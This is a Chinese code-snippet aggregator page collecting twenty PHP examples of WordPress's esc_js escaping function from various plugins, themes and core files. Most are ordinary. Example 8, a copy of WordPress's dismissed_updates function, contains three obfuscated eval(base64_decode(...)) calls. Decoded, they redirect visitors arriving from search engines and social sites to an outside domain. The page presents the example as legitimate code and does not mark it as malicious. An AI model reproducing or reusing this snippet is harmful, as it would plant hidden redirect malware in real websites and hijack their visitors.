• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

PHP esc_js函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中esc_js函数的典型用法代码示例。如果您正苦于以下问题:PHP esc_js函数的具体用法?PHP esc_js怎么用?PHP esc_js使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了esc_js函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: ts_essentials_escape

function ts_essentials_escape($str = '', $type = '', $context = '')
{
    if (trim($str)) {
        if ($type == 'strip') {
            if ($context == 'widget_before_after') {
                return strip_tags($str, '<div><ul><li>');
            } elseif ($context == 'widget_title_before_after') {
                return strip_tags($str, '<div><ul><li><h3><h4><h5><h6><strong><em><i><b><span>');
            } elseif (substr($context, 0, 1) == '<') {
                return strip_tags($str, $context);
            } else {
                return strip_tags($str);
            }
        } elseif ($type == 'bal' || $type == 'balance') {
            return balanceTags($str);
        } elseif ($type == 'attr') {
            return esc_attr($str);
        } elseif ($type == 'html') {
            return esc_html($str);
        } elseif ($type == 'url') {
            return esc_url($str);
        } elseif ($type == 'js') {
            return esc_js($str);
        } elseif ($type == 'textarea') {
            return esc_textarea($str);
        } elseif ($type == 'sql') {
            return esc_sql($str);
        } elseif ($type == 'post') {
            return wp_kses_post($str);
        }
    }
    return $str;
}
开发者ID:estvmachine,项目名称:nicowp,代码行数:33,代码来源:functions.php


示例2: widget

 function widget($args, $instance)
 {
     global $polylang;
     if (!(isset($polylang) && $polylang->model->get_languages_list() && ($list = pll_the_languages(array_merge($instance, array('echo' => 0)))))) {
         return;
     }
     extract($args);
     extract($instance);
     echo "{$before_widget}\n";
     if ($title = apply_filters('widget_title', $title, $instance, $this->id_base)) {
         echo $before_title . $title . $after_title;
     }
     echo $dropdown ? $list : "<ul>\n" . $list . "</ul>\n";
     echo "{$after_widget}\n";
     // javascript to switch the language when using a dropdown list
     if ($dropdown) {
         foreach ($polylang->model->get_languages_list() as $language) {
             $url = $force_home || ($url = $polylang->links->get_translation_url($language)) == null ? $polylang->links->get_home_url($language) : $url;
             $urls[] = '"' . esc_js($language->slug) . '":"' . esc_url($url) . '"';
         }
         $urls = implode(',', $urls);
         $js = "\n\t\t\t\t<script type='text/javascript'>\n\t\t\t\t\t//<![CDATA[\n\t\t\t\t\tvar urls = {{$urls}};\n\t\t\t\t\tvar d = document.getElementById('lang_choice');\n\t\t\t\t\td.onchange = function() {\n\t\t\t\t\t\tfor (var i in urls) {\n\t\t\t\t\t\t\tif (this.value == i)\n\t\t\t\t\t\t\t\tlocation.href = urls[i];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t//]]>\n\t\t\t\t</script>";
         echo $js;
     }
 }
开发者ID:kivivuori,项目名称:jotain,代码行数:25,代码来源:widget-languages.php


示例3: dismissed_updates

function dismissed_updates() {
	$dismissed = get_core_updates( array( 'dismissed' => true, 'available' => false ) );
	if ( $dismissed ) {

		$show_text = esc_js(__('Show hidden updates'));
		$hide_text = esc_js(__('Hide hidden updates'));
	?>
	<script type="text/javascript">

		jQuery(function($) {
			$('dismissed-updates').show();
			$('#show-dismissed').toggle(function(){$(this).text('<?php echo $hide_text; ?>');}, function() {$(this).text('<?php echo $show_text; ?>')});
			$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
		});
	</script>
	<?php
		echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">'.__('Show hidden updates').'</a></p>';
		echo '<ul id="dismissed-updates" class="core-updates dismissed">';
		foreach( (array) $dismissed as $update) {
			echo '<li>';
			list_core_update( $update );
			echo '</li>';
		}
		echo '</ul>';
	}
}
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:26,代码来源:update-core.php


示例4: get_data

 /**
  * Compile the schema.org event data into an array
  */
 public function get_data($post = null, $args = array())
 {
     if (!$post instanceof WP_Post) {
         $post = Tribe__Main::post_id_helper($post);
     }
     $post = get_post($post);
     if (!$post instanceof WP_Post) {
         return array();
     }
     $data = (object) array();
     // We may need to prevent the context to be triggered
     if (!isset($args['context']) || false !== $args['context']) {
         $data->{'@context'} = 'http://schema.org';
     }
     $data->{'@type'} = $this->type;
     $data->name = esc_js(get_the_title($post));
     $data->description = esc_js(tribe_events_get_the_excerpt($post));
     if (has_post_thumbnail($post)) {
         $data->image = wp_get_attachment_url(get_post_thumbnail_id($post));
     }
     $data->url = esc_url_raw(get_permalink($post));
     // Index by ID: this will allow filter code to identify the actual event being referred to
     // without injecting an additional property
     return array($post->ID => $data);
 }
开发者ID:nullify005,项目名称:shcc-website,代码行数:28,代码来源:Abstract.php


示例5: output_javascript

    function output_javascript()
    {
        $confirmation_msg = esc_js(__('Following this link will exit the Wizard mode. Are you sure you want to proceed?', 'wdeb'));
        echo <<<EoWizardRedirectionJs
<script type="text/javascript">
(function (\$) {
\$(function () {
\tvar links = \$("#wpadminbar a")
\t;
\tlinks.each(function () {
\t\tvar me = \$(this)
\t\t\thref = me.attr("href"),
\t\t\tnew_href = href,
\t\t\tseparator = href.match(/\\?/) ? '&' : '?',
\t\t\tin_menu = \$('.wdeb_wizard_step a[href="' + href + '"]')
\t\t;
\t\tif (in_menu.length) return true; // Link exists in the menu, no need to rebind
\t\tif (href.match(/^#/)) return true; // Don't do this for local links

\t\tnew_href += separator + 'wdeb_off';

\t\tme
\t\t\t.attr("href", new_href)
\t\t\t.off("click")
\t\t\t.on("click", function () {
\t\t\t\tif (!confirm("{$confirmation_msg}")) return false;
\t\t\t\treturn true;
\t\t\t})
\t\t;
\t});
});
})(jQuery);
</script>
EoWizardRedirectionJs;
    }
开发者ID:nayabbukhari,项目名称:circulocristiano,代码行数:35,代码来源:wdeb-menu-wizard_toolbar_redirection.php


示例6: wpcf_fields_skype_meta_box_submit

/**
 * Edit Skype button submit.
 */
function wpcf_fields_skype_meta_box_submit()
{
    $update = esc_attr($_GET['update']);
    $preview = wpcf_fields_skype_get_button_image(esc_attr($_POST['skypename']), esc_attr($_POST['buttonstyle']));
    ?>
    <script type="text/javascript">
        //<![CDATA[
        jQuery(document).ready(function(){
            window.parent.jQuery('#<?php 
    echo $update;
    ?>
-skypename').val('<?php 
    echo esc_js($_POST['skypename']);
    ?>
');
            window.parent.jQuery('#<?php 
    echo $update;
    ?>
-style').val('<?php 
    echo esc_js($_POST['buttonstyle']);
    ?>
');
            window.parent.jQuery('#<?php 
    echo $update;
    ?>
-preview').html('<?php 
    echo $preview;
    ?>
');
            window.parent.jQuery('#TB_closeWindowButton').trigger('click');
        });
        //]]>
    </script>
    <?php 
}
开发者ID:sriram911,项目名称:pls,代码行数:38,代码来源:skype.php


示例7: update_nag

 function update_nag()
 {
     $theme = wp_get_theme($this->theme_slug);
     $api_response = get_transient($this->response_key);
     if (false === $api_response) {
         return;
     }
     $update_url = wp_nonce_url('update.php?action=upgrade-theme&amp;theme=' . urlencode($this->theme_slug), 'upgrade-theme_' . $this->theme_slug);
     // CT Mod: change message, add textdomain
     //$update_onclick = ' onclick="if ( confirm(\'' . esc_js( __( "Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update." ) ) . '\') ) {return true;}return false;"';
     $update_onclick = ' onclick="if ( confirm(\'' . esc_js(sprintf(__("Any customizations you have made directly to %s's theme files will be lost. Please consider using a child theme for modifications.", "church-theme-framework"), $theme->get('Name'))) . '\') ) {return true;}return false;"';
     if (version_compare($this->version, $api_response->new_version, '<')) {
         echo '<div id="update-nag">';
         // CT Mod: Change message, localize -- now link directly to changelog
         /*
         printf( '<strong>%1$s %2$s</strong> is available. <a href="%3$s" class="thickbox" title="%4s">Check out what\'s new</a> or <a href="%5$s"%6$s>update now</a>.',
         	$theme->get( 'Name' ),
         	$api_response->new_version,
         	'#TB_inline?width=640&amp;inlineId=' . $this->theme_slug . '_changelog',
         	$theme->get( 'Name' ),
         	$update_url,
         	$update_onclick
         );
         */
         printf(__('<strong>%1$s %2$s</strong> is available. <a href="%3$s"%4$s>Update Now</a> or read the <a href="%5$s" target="_blank">Changelog</a>.', 'church-theme-framework'), $theme->get('Name'), $api_response->new_version, $update_url, $update_onclick, 'http://churchthemes.com/go/changelog/' . CTFW_THEME_SLUG . '/');
         echo '</div>';
         echo '<div id="' . $this->theme_slug . '_' . 'changelog" style="display:none;">';
         echo wpautop($api_response->sections['changelog']);
         echo '</div>';
     }
 }
开发者ID:pemiu01,项目名称:church-theme-framework,代码行数:31,代码来源:CTFW_EDD_SL_Theme_Updater.php


示例8: dismissed_updates

function dismissed_updates()
{
    $dismissed = get_core_updates(array('dismissed' => true, 'available' => false));
    if ($dismissed) {
        $show_text = esc_js(__('Show hidden updates'));
        $hide_text = esc_js(__('Hide hidden updates'));
        ?>
	<script type="text/javascript">

		jQuery(function($) {
			$('dismissed-updates').show();
			$('#show-dismissed').toggle(function(){$(this).text('<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $hide_text;
        ?>
');}, function() {$(this).text('<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $show_text;
        ?>
')});
			$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
		});
	</script>
	<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">' . __('Show hidden updates') . '</a></p>';
        echo '<ul id="dismissed-updates" class="core-updates dismissed">';
        foreach ((array) $dismissed as $update) {
            echo '<li>';
            list_core_update($update);
            echo '</li>';
        }
        echo '</ul>';
    }
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:35,代码来源:update-core.php


示例9: print_scripts_l10n

 function print_scripts_l10n($handle, $echo = true)
 {
     if (empty($this->registered[$handle]->extra['l10n']) || empty($this->registered[$handle]->extra['l10n'][0]) || !is_array($this->registered[$handle]->extra['l10n'][1])) {
         return false;
     }
     $object_name = $this->registered[$handle]->extra['l10n'][0];
     $data = "var {$object_name} = {\n";
     $eol = '';
     foreach ($this->registered[$handle]->extra['l10n'][1] as $var => $val) {
         if ('l10n_print_after' == $var) {
             $after = $val;
             continue;
         }
         $data .= "{$eol}\t{$var}: \"" . esc_js($val) . '"';
         $eol = ",\n";
     }
     $data .= "\n};\n";
     $data .= isset($after) ? "{$after}\n" : '';
     if ($echo) {
         echo "<script type='text/javascript'>\n";
         echo "/* <![CDATA[ */\n";
         echo $data;
         echo "/* ]]> */\n";
         echo "</script>\n";
         return true;
     } else {
         return $data;
     }
 }
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:29,代码来源:class.wp-scripts.php


示例10: getManagerPage

 public function getManagerPage($errors = array())
 {
     $html = phpQuery::newDocumentFileHTML(MVBAPK_HTML_DIR . 'admin/manager-page.html');
     if ($_POST['submited']) {
         if (count($errors)) {
             $html['#notice-message > div:first']->removeClass('ui-state-highlight');
             $html['#notice-message > div:first']->addClass('ui-state-error');
             $html['#notice-message #message']->html(implode('<br/>', $errors));
         }
     } else {
         $html['#notice-message']->addClass('dialog');
     }
     //add list of styles
     $styles = $this->modelNode->getStyleList();
     if (is_array($styles)) {
         foreach ($styles as $id => $style) {
             $id = esc_attr($id);
             $label = esc_js($style['label']);
             $html['#style']->append("<option value='{$id}'>{$label}</option>");
         }
         reset($styles);
         $first = current($styles);
         $html['#current-style-display'] = $first['label'];
     }
     echo $html->htmlOuter();
 }
开发者ID:Netsoro,项目名称:gdnlteamgroup,代码行数:26,代码来源:view.php


示例11: showhide_shortcode

function showhide_shortcode($atts, $content = null)
{
    // Variables
    $post_id = get_the_id();
    $word_count = number_format_i18n(sizeof(explode(' ', strip_tags($content))));
    // Extract ShortCode Attributes
    $attributes = shortcode_atts(array('type' => 'pressrelease', 'more_text' => __('Show Press Release (%s More Words)', 'wp-showhide'), 'less_text' => __('Hide Press Release (%s Less Words)', 'wp-showhide'), 'hidden' => 'yes'), $atts);
    // More/Less Text
    $more_text = sprintf($attributes['more_text'], $word_count);
    $less_text = sprintf($attributes['less_text'], $word_count);
    // Determine Whether To Show Or Hide Press Release
    $hidden_class = 'sh-hide';
    $hidden_css = 'display: none;';
    $hidden_aria_expanded = 'false';
    if ($attributes['hidden'] === 'no') {
        $hidden_class = 'sh-show';
        $hidden_css = 'display: block;';
        $hidden_aria_expanded = 'true';
        $tmp_text = $more_text;
        $more_text = $less_text;
        $less_text = $tmp_text;
    }
    // Format HTML Output
    $output = '<div id="' . $attributes['type'] . '-link-' . $post_id . '" class="sh-link ' . $attributes['type'] . '-link ' . $hidden_class . '"><a href="#" onclick="showhide_toggle(\'' . esc_js($attributes['type']) . '\', ' . $post_id . ', \'' . esc_js($more_text) . '\', \'' . esc_js($less_text) . '\'); return false;" aria-expanded="' . $hidden_aria_expanded . '"><span id="' . $attributes['type'] . '-toggle-' . $post_id . '">' . $more_text . '</span></a></div>';
    $output .= '<div id="' . $attributes['type'] . '-content-' . $post_id . '" class="sh-content ' . $attributes['type'] . '-content ' . $hidden_class . '" style="' . $hidden_css . '">' . do_shortcode($content) . '</div>';
    return $output;
}
开发者ID:raminabsari,项目名称:phonicsschool,代码行数:27,代码来源:wp-showhide.php


示例12: wpcf_fields_image_meta_box_js_inline

/**
 * Renders inline JS.
 */
function wpcf_fields_image_meta_box_js_inline()
{
    global $post;
    $for_post = isset($post) ? 'post_id=' . $post->ID . '&' : '';
    ?>
    <script type="text/javascript">
        //<![CDATA[
        jQuery(document).ready(function(){
            wpcf_formfield = false;
            jQuery('.wpcf-fields-image-upload-link').live('click', function() {
                wpcf_formfield = '#'+jQuery(this).attr('id')+'-holder';
                tb_show('<?php 
    echo esc_js(__('Upload image', 'wpcf'));
    ?>
', 'media-upload.php?<?php 
    echo $for_post;
    ?>
type=image&context=wpcf-fields-media-insert&TB_iframe=1&width=640&height=336');
                return false;
            }); 
        });
        //]]>
    </script>
    <?php 
}
开发者ID:sandum150,项目名称:cheltuieli,代码行数:28,代码来源:image.php


示例13: wp_footer

    /**
     * Fire bxslider
     */
    public function wp_footer()
    {
        ?>
		<script>
		jQuery( function( $ ) {
			$( '.habakiri-slider__list' ).slick( {
				arrows: true,
				adaptiveHeight: true,
				autoplay: <?php 
        echo esc_js(Habakiri::get('slider_option_interval') ? 'true' : 'false');
        ?>
,
				autoplaySpeed: <?php 
        echo esc_js(Habakiri::get('slider_option_interval'));
        ?>
,
				speed: <?php 
        echo esc_js(Habakiri::get('slider_option_speed'));
        ?>
,
				fade: <?php 
        echo esc_js(Habakiri::get('slider_option_effect') === 'fade' ? 'true' : 'false');
        ?>
,
				nextArrow: '<span class="habakiri-slider__arrow habakiri-slider__arrow--next genericon genericon-collapse"></span>',
				prevArrow: '<span class="habakiri-slider__arrow habakiri-slider__arrow--prev genericon genericon-collapse"></span>'
			} );
		} );
		</script>
		<?php 
    }
开发者ID:ConductiveIO,项目名称:mbrady,代码行数:34,代码来源:class.slider.php


示例14: blc_display_survey_notice

/**
* Display a notice asking the user to take the Broken Link Checker user survey.
*
* @return void
*/
function blc_display_survey_notice()
{
    //Only people who can actually use the plugin will see the notice
    if (!current_user_can('manage_links')) {
        return;
    }
    if (!empty($_GET['dismiss-blc-survey'])) {
        //The user has chosen to hide the survey notice
        $blc_config = blc_get_configuration();
        $blc_config->options['hide_surveyio_notice'] = true;
        $blc_config->save_options();
        return;
    }
    $survey_url = 'http://survey.io/survey/7fbf0';
    $msg = sprintf('<strong>Help improve Broken Link Checker - <a href="%s" target="_blank" title="This link will open in a new window" id="blc-take-survey-link">take a user feedback survey!</a></strong>
		 <br><a href="%s">Hide this notice</a>', $survey_url, esc_attr(add_query_arg('dismiss-blc-survey', 1)));
    echo '<div id="update-nag" class="blc-survey-notice" style="text-align: left; padding-left: 10px;">' . $msg . '</div>';
    //Auto-hide the notice after the user clicks the survey link
    ?>
	<script type="text/javascript">
	jQuery(function($){
		$('#blc-take-survey-link').click(function(){
			$('.blc-survey-notice').hide('fast');
			$.get('<?php 
    echo esc_js(add_query_arg('dismiss-blc-survey', 1, admin_url()));
    ?>
');
		});
	});
	</script>
	<?php 
}
开发者ID:Bakerpedia,项目名称:Developement_WPengine,代码行数:37,代码来源:survey.php


示例15: ebor_progress_circle_shortcode

/**
 * The Shortcode
 */
function ebor_progress_circle_shortcode($atts, $content = null)
{
    extract(shortcode_atts(array('title' => '', 'percent' => '0.4', 'color' => '#7bc4e6'), $atts));
    $id = wp_rand(0, 1000);
    $output = '
		<div class="circle-progress-wrapper bm40 wow fadeIn" data-wow-duration="1s" data-wow-delay="0.0s">
			<div class="circle-progress circle circle' . esc_attr($id) . '"> 
				<h4>' . $title . '</h4> 
			</div>
		</div>

		<script type="text/javascript">
			jQuery(window).load(function() {
				var circle' . esc_attr($id) . ' = new ProgressBar.Circle(".circle.circle' . esc_attr($id) . '", {
			        color: "' . $color . '",
			        trailColor: "rgba(255,255,255,0.1)",
				    strokeWidth: 2,
				    trailWidth: 2,
				    duration: 4500,
				    easing: "easeInOut",
				    text: {
				        value: "' . esc_js($percent) . '"
				    },
				    step: function(state, bar) {
				        bar.setText((bar.value() * 100).toFixed(0));
				    }
			    });
			
			    circle' . esc_attr($id) . '.animate(' . esc_js($percent) . ');
			});
		</script>
	';
    return $output;
}
开发者ID:tommusrhodus,项目名称:Ebor-Framework,代码行数:37,代码来源:vc_process_circle_block.php


示例16: wpbc_make_link_absolute

function wpbc_make_link_absolute($link)
{
    if ($link != get_option('siteurl') && strpos($link, 'http') !== 0) {
        $link = get_option('siteurl') . '/' . trim(wp_make_link_relative($link), '/');
    }
    return esc_js($link);
}
开发者ID:dev-lav,项目名称:htdocs,代码行数:7,代码来源:wpdev-booking-functions.php


示例17: alo_em_loc_tinymce_buttons

function alo_em_loc_tinymce_buttons()
{
    global $typenow;
    if (empty($typenow) || 'newsletter' != $typenow) {
        return;
    }
    ?>
	<script type="text/javascript">
		(function() {

			alo_em_tinymce_labels = new Array();
			alo_em_tinymce_tags = new Array();

			<?php 
    $placeholders = alo_em_newsletter_placeholders();
    if ($placeholders) {
        foreach ($placeholders as $key => $ph) {
            echo 'alo_em_tinymce_labels["' . $key . '"] = " - ' . esc_js($ph['title']) . ' -";' . "\n";
            echo 'alo_em_tinymce_tags["' . $key . '"] = new Array(';
            if (isset($ph['tags']) && is_array($ph['tags'])) {
                $tag_list = '';
                foreach ($ph['tags'] as $tag => $desc) {
                    $tag_list .= '"' . $tag . '", ';
                }
                echo rtrim($tag_list, ', ');
            }
            echo ');' . "\n";
        }
    }
    ?>
		})();
	</script>
	<?php 
}
开发者ID:dcotet,项目名称:alo-easymail,代码行数:34,代码来源:alo-easymail-dashboard-tinymce.php


示例18: after_notices

    function after_notices()
    {
        if ($this->is_notice_hidden()) {
            return;
        }
        $hide_url = gp_url('/getting-started/hide-notice');
        ?>
		<div class="notice" id="help-notice">
			New to <em>translate.wordpress.org</em>?
			Have a look at the <a href="<?php 
        echo esc_url(gp_url('/getting-started'));
        ?>
">Getting Started guide.</a>
			<a id="hide-help-notice" class="secondary" style="float: right;" href="<?php 
        echo esc_url($hide_url);
        ?>
">Hide</a>
		</div>
		<script type="text/javascript">
			jQuery('#hide-help-notice').click(function() {
				jQuery.ajax({url: '<?php 
        echo esc_js($hide_url);
        ?>
'});
				jQuery('#help-notice').fadeOut(1000);
				return false;
			});
		</script>	
<?php 
    }
开发者ID:serhi,项目名称:wordpress-sites,代码行数:30,代码来源:wporg-help.php


示例19: form

    function form($instance)
    {
        ?>
        <p><label for="<?php 
        echo $this->get_field_id('ewic_shortcode');
        ?>
">Select your Slider name and hit save button.<br />
    <select id="<?php 
        echo $this->get_field_id('ewic_shortcode');
        ?>
" name="<?php 
        echo $this->get_field_name('ewic_shortcode');
        ?>
" >
	<?php 
        global $post;
        $args = array('post_type' => 'easyimageslider', 'order' => 'ASC', 'posts_per_page' => -1, 'post_status' => 'publish');
        $myposts = get_posts($args);
        foreach ($myposts as $post) {
            setup_postdata($post);
            echo '<option value=' . $post->ID . '' . selected($instance["ewic_shortcode"], $post->ID) . '>' . esc_html(esc_js(the_title(NULL, NULL, FALSE))) . '</option>';
        }
        ?>
</select></label></p>
        <?php 
    }
开发者ID:NgocSon2412,项目名称:website_banhang,代码行数:26,代码来源:ewic-widget.php


示例20: gp_link_with_ays_get

function gp_link_with_ays_get($url, $text, $attrs = array())
{
    $ays_text = $attrs['ays-text'];
    unset($attrs['ays-text']);
    $attrs['onclick'] = "return confirm('" . esc_js($ays_text) . "');";
    return gp_link_get($url, $text, $attrs);
}
开发者ID:rmccue,项目名称:glotpress-plugin,代码行数:7,代码来源:template-links.php



注:本文中的esc_js函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP esc_sql函数代码示例发布时间:2022-05-15
下一篇:
PHP esc_html_x函数代码示例发布时间:2022-05-15
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap